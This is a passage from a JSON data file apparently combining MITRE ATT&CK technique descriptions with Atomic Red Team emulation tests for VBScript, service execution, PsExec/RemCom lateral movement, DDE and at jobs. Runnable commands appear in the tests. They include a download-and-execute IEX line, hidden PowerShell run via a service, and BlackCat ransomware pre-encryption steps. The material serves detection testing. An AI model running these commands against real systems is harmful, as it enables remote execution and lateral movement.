- "x_mitre_detection": "Monitor for events associated with VB execution, such as Office applications spawning processes, usage of the Windows Script Host (typically cscript.exe or wscript.exe), file activity involving VB payloads or scripts, or loading of modules associated with VB languages (ex: vbscript.dll). VB execution is likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other programable post-compromise behaviors and could be used as indicators of detection leading back to the source.\n\nUnderstanding standard usage patterns is important to avoid a high number of false positives. If VB execution is restricted for normal users, then any attempts to enable related components running on a system would be considered suspicious. If VB execution is not commonly used on a system, but enabled, execution running out of cycle from patching or other administrator functions is suspicious. Payloads and scripts should be captured from the file system when possible to determine their actions and intent.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.3",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Script: Script Execution",
- "Command: Command Execution",
- "Module: Module Load",
- "Process: Process Creation"
- ],
- "x_mitre_permissions_required": [
- "User",
- "Administrator",
- "SYSTEM"
- ],
- "identifier": "T1059.005"
- },
- "atomic_tests": [
- {
- "name": "Visual Basic script execution to gather local computer information",
- "auto_generated_guid": "1620de42-160a-4fe5-bbaf-d3fef0181ce9",
- "description": "Visual Basic execution test, execute vbscript via PowerShell.\n\nWhen successful, system information will be written to $env:TEMP\\T1059.005.out.txt.",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "vbscript": {
- "description": "Path to sample script",
- "type": "string",
- "default": "PathToAtomicsFolder\\T1059.005\\src\\sys_info.vbs"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Sample script must exist on disk at specified location (#{vbscript})",
- "prereq_command": "if (Test-Path #{vbscript}) {exit 0} else {exit 1} ",
- "get_prereq_command": "New-Item -ItemType Directory (Split-Path #{vbscript}) -Force | Out-Null\nInvoke-WebRequest \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.005/src/sys_info.vbs\" -OutFile \"#{vbscript}\""
- }
- ],
- "executor": {
- "command": "cscript #{vbscript} > $env:TEMP\\T1059.005.out.txt",
- "cleanup_command": "Remove-Item $env:TEMP\\T1059.005.out.txt -ErrorAction Ignore",
- "name": "powershell"
- }
- },
- {
- "name": "Encoded VBS code execution",
- "auto_generated_guid": "e8209d5f-e42d-45e6-9c2f-633ac4f1eefa",
- "description": "This module takes an encoded VBS script and executes it from within a malicious document. By default, upon successful execution\na message box will pop up displaying \"ART T1059.005\"\n\nA note regarding this module, due to the way that this module utilizes \"ScriptControl\" a 64bit version of Microsoft Office is required.\nYou can validate this by opening WinWord -> File -> Account -> About Word\n",
- "supported_platforms": [
- "windows"
- ],
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "The 64-bit version of Microsoft Office must be installed\n",
- "prereq_command": "try {\n $wdApp = New-Object -COMObject \"Word.Application\"\n $path = $wdApp.Path\n Stop-Process -Name \"winword\"\n if ($path.contains(\"(x86)\")) { exit 1 } else { exit 0 }\n} catch { exit 1 }\n",
- "get_prereq_command": "Write-Host \"You will need to install Microsoft Word (64-bit) manually to meet this requirement\"\n"
- }
- ],
- "executor": {
- "command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing)\nInvoke-Maldoc -macroFile \"PathToAtomicsFolder\\T1059.005\\src\\T1059.005-macrocode.txt\" -officeProduct \"Word\" -sub \"Exec\"\n",
- "cleanup_command": "Get-WmiObject win32_process | Where-Object {$_.CommandLine -like \"*mshta*\"} | % { \"$(Stop-Process $_.ProcessID)\" } | Out-Null\n",
- "name": "powershell"
- }
- },
- {
- "name": "Extract Memory via VBA",
- "auto_generated_guid": "8faff437-a114-4547-9a60-749652a03df6",
- "description": "This module attempts to emulate malware authors utilizing well known techniques to extract data from memory/binary files. To do this\nwe first create a string in memory then pull out the pointer to that string. Finally, it uses this pointer to copy the contents of that\nmemory location to a file stored in the $env:TEMP\\atomic_t1059_005_test_output.bin.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "ms_product": {
- "description": "Maldoc application Word",
- "type": "string",
- "default": "Word"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Microsoft #{ms_product} must be installed\n",
- "prereq_command": "try {\n New-Object -COMObject \"#{ms_product}.Application\" | Out-Null\n $process = \"#{ms_product}\"; if ( $process -eq \"Word\") {$process = \"winword\"}\n Stop-Process -Name $process\n exit 0\n} catch { exit 1 }\n",
- "get_prereq_command": "Write-Host \"You will need to install Microsoft #{ms_product} manually to meet this requirement\"\n"
- }
- ],
- "executor": {
- "command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing) \nInvoke-Maldoc -macroFile \"PathToAtomicsFolder\\T1059.005\\src\\T1059_005-macrocode.txt\" -officeProduct \"Word\" -sub \"Extract\"\n",
- "cleanup_command": "Remove-Item \"$env:TEMP\\atomic_t1059_005_test_output.bin\" -ErrorAction Ignore\n",
- "name": "powershell"
- }
- }
- ]
- },
- "T1151": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Erye Hernandez, Palo Alto Networks"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--e2907cea-4b43-4ed7-a570-0fdf0fbeea00",
- "type": "attack-pattern",
- "created": "2017-12-14T16:46:06.044Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1151",
- "url": "https://attack.mitre.org/techniques/T1151"
- },
- {
- "external_id": "CAPEC-649",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/649.html"
- },
- {
- "url": "https://arstechnica.com/security/2016/07/after-hiatus-in-the-wild-mac-backdoors-are-suddenly-back/",
- "description": "Dan Goodin. (2016, July 6). After hiatus, in-the-wild Mac backdoors are suddenly back. Retrieved July 8, 2017.",
- "source_name": "Mac Backdoors are back"
- }
- ],
- "modified": "2020-02-10T20:49:12.897Z",
- "name": "Space after Filename",
- "description": "Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system. For example, if there is a Mach-O executable file called evil.bin, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to evil.txt, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to \"evil.txt \" (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back). \n\nAdversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "execution"
- }
- ],
- "x_mitre_detection": "It's not common for spaces to be at the end of filenames, so this is something that can easily be checked with file monitoring. From the user's perspective though, this is very hard to notice from within the Finder.app or on the command-line in Terminal.app. Processes executed from binaries containing non-standard extensions in the filename are suspicious.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1173": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0",
- "type": "attack-pattern",
- "created": "2018-01-16T16:13:52.465Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1173",
- "url": "https://attack.mitre.org/techniques/T1173"
- },
- {
- "url": "https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/",
- "description": "Cimpanu, C. (2017, December 15). Microsoft Disables DDE Feature in Word to Prevent Further Malware Attacks. Retrieved December 19, 2017.",
- "source_name": "BleepingComputer DDE Disabled in Word Dec 2017"
- },
- {
- "url": "https://portal.msrc.microsoft.com/security-guidance/advisory/ADV170021",
- "description": "Microsoft. (2017, December 12). ADV170021 - Microsoft Office Defense in Depth Update. Retrieved February 3, 2018.",
- "source_name": "Microsoft ADV170021 Dec 2017"
- },
- {
- "url": "https://technet.microsoft.com/library/security/4053440",
- "description": "Microsoft. (2017, November 8). Microsoft Security Advisory 4053440 - Securely opening Microsoft Office documents that contain Dynamic Data Exchange (DDE) fields. Retrieved November 21, 2017.",
- "source_name": "Microsoft DDE Advisory Nov 2017"
- },
- {
- "url": "https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/",
- "description": "El-Sherei, S. (2016, May 20). PowerShell, C-Sharp and DDE The Power Within. Retrieved November 22, 2017.",
- "source_name": "SensePost PS DDE May 2016"
- },
- {
- "url": "https://www.contextis.com/blog/comma-separated-vulnerabilities",
- "description": "Kettle, J. (2014, August 29). Comma Separated Vulnerabilities. Retrieved November 22, 2017.",
- "source_name": "Kettle CSV DDE Aug 2014"
- },
- {
- "url": "https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee",
- "description": "Nelson, M. (2018, January 29). Reviving DDE: Using OneNote and Excel for Code Execution. Retrieved February 3, 2018.",
- "source_name": "Enigma Reviving DDE Jan 2018"
- },
- {
- "url": "https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/",
- "description": "Stalmans, E., El-Sherei, S. (2017, October 9). Macro-less Code Exec in MSWord. Retrieved November 21, 2017.",
- "source_name": "SensePost MacroLess DDE Oct 2017"
- },
- {
- "url": "https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/",
- "description": "NVISO Labs. (2017, October 11). Detecting DDE in MS Office documents. Retrieved November 21, 2017.",
- "source_name": "NVisio Labs DDE Detection Oct 2017"
- }
- ],
- "modified": "2022-02-09T20:22:43.284Z",
- "name": "Dynamic Data Exchange",
- "description": "Windows Dynamic Data Exchange (DDE) is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.\n\nObject Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by COM, DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys. (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: Microsoft ADV170021 Dec 2017) (Citation: Microsoft DDE Advisory Nov 2017)\n\nAdversaries may use DDE to execute arbitrary commands. Microsoft Office documents can be poisoned with DDE commands (Citation: SensePost PS DDE May 2016) (Citation: Kettle CSV DDE Aug 2014), directly or through embedded files (Citation: Enigma Reviving DDE Jan 2018), and used to deliver execution via phishing campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. (Citation: SensePost MacroLess DDE Oct 2017) DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to command line execution.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "execution"
- }
- ],
- "x_mitre_detection": "OLE and Office Open XML files can be scanned for \u2018DDEAUTO', \u2018DDE\u2019, and other strings indicative of DDE execution. (Citation: NVisio Labs DDE Detection Oct 2017)\n\nMonitor for Microsoft Office applications loading DLLs and other modules not typically associated with the application.\n\nMonitor for spawning of unusual processes (such as cmd.exe) from Microsoft Office applications.",
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1204.001": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9",
- "type": "attack-pattern",
- "created": "2020-03-11T14:43:31.706Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1204.001",
- "url": "https://attack.mitre.org/techniques/T1204/001"
- }
- ],
- "modified": "2020-03-11T14:43:31.706Z",
- "name": "Malicious Link",
- "description": "An adversary may rely upon a user clicking a malicious link in order to gain execution. Users may be subjected to social engineering to get them to click on a link that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002). Clicking on a link may also lead to other execution techniques such as exploitation of a browser or application vulnerability via [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203). Links may also lead users to download files that require execution via [Malicious File](https://attack.mitre.org/techniques/T1204/002).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "execution"
- }
- ],
- "x_mitre_detection": "Inspect network traffic for indications that a user visited a malicious site, such as links included in phishing campaigns directed at your organization.\n\nAnti-virus can potentially detect malicious documents and files that are downloaded from a link and executed on the user's computer.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Network Traffic: Network Connection Creation",
- "File: File Creation",
- "Network Traffic: Network Traffic Content"
- ],
- "x_mitre_permissions_required": [
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1569.002": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4",
- "type": "attack-pattern",
- "created": "2020-03-10T18:33:36.159Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1569.002",
- "url": "https://attack.mitre.org/techniques/T1569/002"
- },
- {
- "source_name": "Microsoft Service Control Manager",
- "url": "https://docs.microsoft.com/windows/win32/services/service-control-manager",
- "description": "Microsoft. (2018, May 31). Service Control Manager. Retrieved March 28, 2020."
- },
- {
- "url": "https://technet.microsoft.com/en-us/sysinternals/bb897553.aspx",
- "description": "Russinovich, M. (2014, May 2). Windows Sysinternals PsExec v2.11. Retrieved May 13, 2015.",
- "source_name": "Russinovich Sysinternals"
- }
- ],
- "modified": "2021-08-30T17:42:40.945Z",
- "name": "System Services: Service Execution",
- "description": "Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager (services.exe
) is an interface to manage and manipulate services.(Citation: Microsoft Service Control Manager) The service control manager is accessible to users via GUI components as well as system utilities such as sc.exe
and [Net](https://attack.mitre.org/software/S0039).\n\n[PsExec](https://attack.mitre.org/software/S0029) can also be used to execute commands or payloads via a temporary Windows service created through the service control manager API.(Citation: Russinovich Sysinternals) Tools such as [PsExec](https://attack.mitre.org/software/S0029) and sc.exe
can accept remote servers as arguments and may be used to conduct remote execution.\n\nAdversaries may leverage these mechanisms to execute malicious content. This can be done by either executing a new or modified service. This technique is the execution used in conjunction with [Windows Service](https://attack.mitre.org/techniques/T1543/003) during service persistence or privilege escalation.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "execution"
- }
- ],
- "x_mitre_detection": "Changes to service Registry entries and command line invocation of tools capable of modifying services that do not correlate with known software, patch cycles, etc., may be suspicious. If a service is used only to execute a binary or script and not to persist, then it will likely be changed back to its original form shortly after the service is restarted so the service is not left broken, as is the case with the common administrator tool [PsExec](https://attack.mitre.org/software/S0029).",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "Service: Service Creation",
- "Windows Registry: Windows Registry Key Modification",
- "Process: Process Creation"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "SYSTEM"
- ],
- "x_mitre_remote_support": true,
- "identifier": "T1569.002"
- },
- "atomic_tests": [
- {
- "name": "Execute a Command as a Service",
- "auto_generated_guid": "2382dee2-a75f-49aa-9378-f52df6ed3fb1",
- "description": "Creates a service specifying an arbitrary command and executes it. When executing commands such as PowerShell, the service will report that it did not start correctly even when code executes properly.\n\nUpon successful execution, cmd.exe creates a new service using sc.exe that will start powershell.exe to create a new file `art-marker.txt`\n\n[BlackCat Ransomware (ALPHV)](https://www.varonis.com/blog/blackcat-ransomware) \n[Cybereason vs. BlackCat Ransomware](https://www.cybereason.com/blog/cybereason-vs.-blackcat-ransomware)\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "service_name": {
- "description": "Name of service to create",
- "type": "string",
- "default": "ARTService"
- },
- "executable_command": {
- "description": "Command to execute as a service",
- "type": "string",
- "default": "%COMSPEC% /c powershell.exe -nop -w hidden -command New-Item -ItemType File C:\\art-marker.txt"
- }
- },
- "executor": {
- "command": "sc.exe create #{service_name} binPath= \"#{executable_command}\"\nsc.exe start #{service_name}\nsc.exe delete #{service_name}\n",
- "cleanup_command": "del C:\\art-marker.txt >nul 2>&1\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "Use PsExec to execute a command on a remote host",
- "auto_generated_guid": "873106b7-cfed-454b-8680-fa9f6400431c",
- "description": "Requires having Sysinternals installed, path to sysinternals is one of the input input_arguments\nWill start a process on a remote host.\n\nUpon successful execution, cmd will utilize psexec.exe to spawn calc.exe on a remote endpoint (default:localhost).\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "remote_host": {
- "description": "Remote hostname or IP address",
- "type": "string",
- "default": "localhost"
- },
- "user_name": {
- "description": "Username",
- "type": "string",
- "default": "DOMAIN\\Administrator"
- },
- "password": {
- "description": "Password",
- "type": "string",
- "default": "P@ssw0rd1"
- },
- "psexec_exe": {
- "description": "Path to PsExec",
- "type": "string",
- "default": "C:\\PSTools\\PsExec.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "PsExec tool from Sysinternals must exist on disk at specified location (#{psexec_exe})\n",
- "prereq_command": "if (Test-Path \"#{psexec_exe}\") { exit 0} else { exit 1}\n",
- "get_prereq_command": "Invoke-WebRequest \"https://download.sysinternals.com/files/PSTools.zip\" -OutFile \"$env:TEMP\\PsTools.zip\"\nExpand-Archive $env:TEMP\\PsTools.zip $env:TEMP\\PsTools -Force\nNew-Item -ItemType Directory (Split-Path \"#{psexec_exe}\") -Force | Out-Null\nCopy-Item $env:TEMP\\PsTools\\PsExec.exe \"#{psexec_exe}\" -Force\n"
- }
- ],
- "executor": {
- "command": "#{psexec_exe} \\\\#{remote_host} -u #{user_name} -p #{password} -accepteula \"C:\\Windows\\System32\\calc.exe\"\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "BlackCat pre-encryption cmds with Lateral Movement",
- "auto_generated_guid": "31eb7828-97d7-4067-9c1e-c6feb85edc4b",
- "description": "This atomic attempts to emulate the unique behavior of BlackCat ransomware prior to encryption and during Lateral Movement attempts via PsExec on Windows. Uses bundled PsExec like BlackCat",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "targethost": {
- "description": "Target hostname to attempt psexec connection to for emulation of lateral movement.",
- "type": "string",
- "default": "$ENV:COMPUTERNAME"
- }
- },
- "executor": {
- "command": "cmd.exe /c \"wmic \tcsproduct \tget UUID\" \ncmd.exe /c \"fsutil behavior \tset SymlinkEvaluation R2L:1\" \ncmd.exe /c \"fsutil behavior set \tSymlinkEvaluation R2R:1\"\nreg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\LanmanServer\\Parameters /v MaxMpxCt /d 65535 /t REG_DWORD /f \ncopy $pathtoatomicsfolder\\T1569.002\\bin\\PsExec.exe $env:temp\ncmd.exe /c \"$env:temp\\psexec.exe -accepteula \\\\#{targethost} cmd.exe /c echo \"--access-token\"\"\n",
- "cleanup_command": "reg delete HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\LanmanServer\\Parameters /v MaxMpxCt /f\ncmd.exe /c \"fsutil behavior set SymlinkEvaluation R2L:0\" \ncmd.exe /c \"fsutil behavior set SymlinkEvaluation R2R:0\"\nrm $env:temp\\psexec.exe\n",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "Use RemCom to execute a command on a remote host",
- "auto_generated_guid": "a5d8cdeb-be90-43a9-8b26-cc618deac1e0",
- "description": "Requires having RemCom installed, path to RemCom is one of the input input_arguments\nWill start a process on a remote host.\nUpon successful execution, cmd will utilize RemCom.exe to spawn calc.exe on a remote endpoint (default:localhost).\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "remote_host": {
- "description": "Remote hostname or IP address",
- "type": "string",
- "default": "localhost"
- },
- "user_name": {
- "description": "Username",
- "type": "string",
- "default": "Administrator"
- },
- "password": {
- "description": "Password",
- "type": "string",
- "default": "P@ssw0rd1"
- },
- "remcom_exe": {
- "description": "Path to RemCom",
- "type": "string",
- "default": "$pathtoatomicsfolder\\T1569.002\\bin\\remcom.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "RemCom tool must exist on disk at specified location (#{remcom_exe})\n",
- "prereq_command": "if (Test-Path \"#{remcom_exe}\") { exit 0} else { exit 1}\n",
- "get_prereq_command": "Invoke-WebRequest \"https://github.com/kavika13/RemCom/raw/master/bin/Release/RemCom.exe\" -OutFile \"#{remcom_exe}\"\n"
- }
- ],
- "executor": {
- "command": "\"#{remcom_exe}\" \\\\#{remote_host} /user:#{user_name} /pwd:#{password} cmd.exe\n",
- "name": "command_prompt"
- }
- }
- ]
- },
- "T1053.002": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "Linux",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--f3d95a1f-bba2-44ce-9af7-37866cd63fd0",
- "created": "2019-11-27T13:52:45.853Z",
- "x_mitre_version": "2.0",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1053.002",
- "url": "https://attack.mitre.org/techniques/T1053/002"
- },
- {
- "source_name": "rowland linux at 2019",
- "url": "https://www.linkedin.com/pulse/getting-attacker-ip-address-from-malicious-linux-job-craig-rowland/",
- "description": "Craig Rowland. (2019, July 25). Getting an Attacker IP Address from a Malicious Linux At Job. Retrieved October 15, 2021."
- },
- {
- "source_name": "GTFObins at",
- "url": "https://gtfobins.github.io/gtfobins/at/",
- "description": "Emilio Pinna, Andrea Cardaci. (n.d.). gtfobins at. Retrieved September 28, 2021."
- },
- {
- "source_name": "Linux at",
- "url": "https://man7.org/linux/man-pages/man1/at.1p.html",
- "description": "IEEE/The Open Group. (2017). at(1p) \u2014 Linux manual page. Retrieved February 25, 2022."
- },
- {
- "source_name": "Twitter Leoloobeek Scheduled Task",
- "url": "https://twitter.com/leoloobeek/status/939248813465853953",
- "description": "Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved December 12, 2017."
- },
- {
- "source_name": "Microsoft Scheduled Task Events Win10",
- "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events",
- "description": "Microsoft. (2017, May 28). Audit Other Object Access Events. Retrieved June 27, 2019."
- },
- {
- "source_name": "TechNet Scheduled Task Events",
- "url": "https://technet.microsoft.com/library/dd315590.aspx",
- "description": "Microsoft. (n.d.). General Task Registration. Retrieved December 12, 2017."
- },
- {
- "source_name": "TechNet Autoruns",
- "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902",
- "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016."
- },
- {
- "source_name": "TechNet Forum Scheduled Task Operational Setting",
- "url": "https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen",
- "description": "Satyajit321. (2015, November 3). Scheduled Tasks History Retention settings. Retrieved December 12, 2017."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial or recurring execution of malicious code. The [at](https://attack.mitre.org/software/S0110) utility exists as an executable within Windows, Linux, and macOS for scheduling tasks at a specified time and date. Although deprecated in favor of [Scheduled Task](https://attack.mitre.org/techniques/T1053/005)'s [schtasks](https://attack.mitre.org/software/S0111) in Windows environments, using [at](https://attack.mitre.org/software/S0110) requires that the Task Scheduler service be running, and the user to be logged on as a member of the local Administrators group.\n\nOn Linux and macOS, [at](https://attack.mitre.org/software/S0110) may be invoked by the superuser as well as any users added to the at.allow
file. If the at.allow
file does not exist, the at.deny
file is checked. Every username not listed in at.deny
is allowed to invoke [at](https://attack.mitre.org/software/S0110). If the at.deny
exists and is empty, global use of [at](https://attack.mitre.org/software/S0110) is permitted. If neither file exists (which is often the baseline) only the superuser is allowed to use [at](https://attack.mitre.org/software/S0110).(Citation: Linux at)\n\nAdversaries may use [at](https://attack.mitre.org/software/S0110) to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003). [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote [Execution](https://attack.mitre.org/tactics/TA0002) as part of [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and/or to run a process under the context of a specified account (such as SYSTEM).\n\nIn Linux environments, adversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via sudo
.(Citation: GTFObins at)",
- "modified": "2022-04-18T20:12:04.110Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Scheduled Task/Job: At",
- "x_mitre_detection": "Monitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\\System32\\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc.\n\nConfigure event logging for scheduled task creation and changes by enabling the \"Microsoft-Windows-TaskScheduler/Operational\" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10)\n\n* Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered\n* Event ID 140 on Windows 7, Server 2008 R2 / 4702 on Windows 10, Server 2016 - Scheduled task updated\n* Event ID 141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 - Scheduled task deleted\n* Event ID 4698 on Windows 10, Server 2016 - Scheduled task created\n* Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled\n* Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns)\n\nRemote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data.\n\nIn Linux and macOS environments, monitor scheduled task creation using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nReview all jobs using the atq
command and ensure IP addresses stored in the SSH_CONNECTION
and SSH_CLIENT
variables, machines that created the jobs, are trusted hosts. All [at](https://attack.mitre.org/software/S0110) jobs are stored in /var/spool/cron/atjobs/
.(Citation: rowland linux at 2019)\n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for [Command and Control](https://attack.mitre.org/tactics/TA0011), learning details about the environment through [Discovery](https://attack.mitre.org/tactics/TA0007), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "execution"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Process: Process Creation",
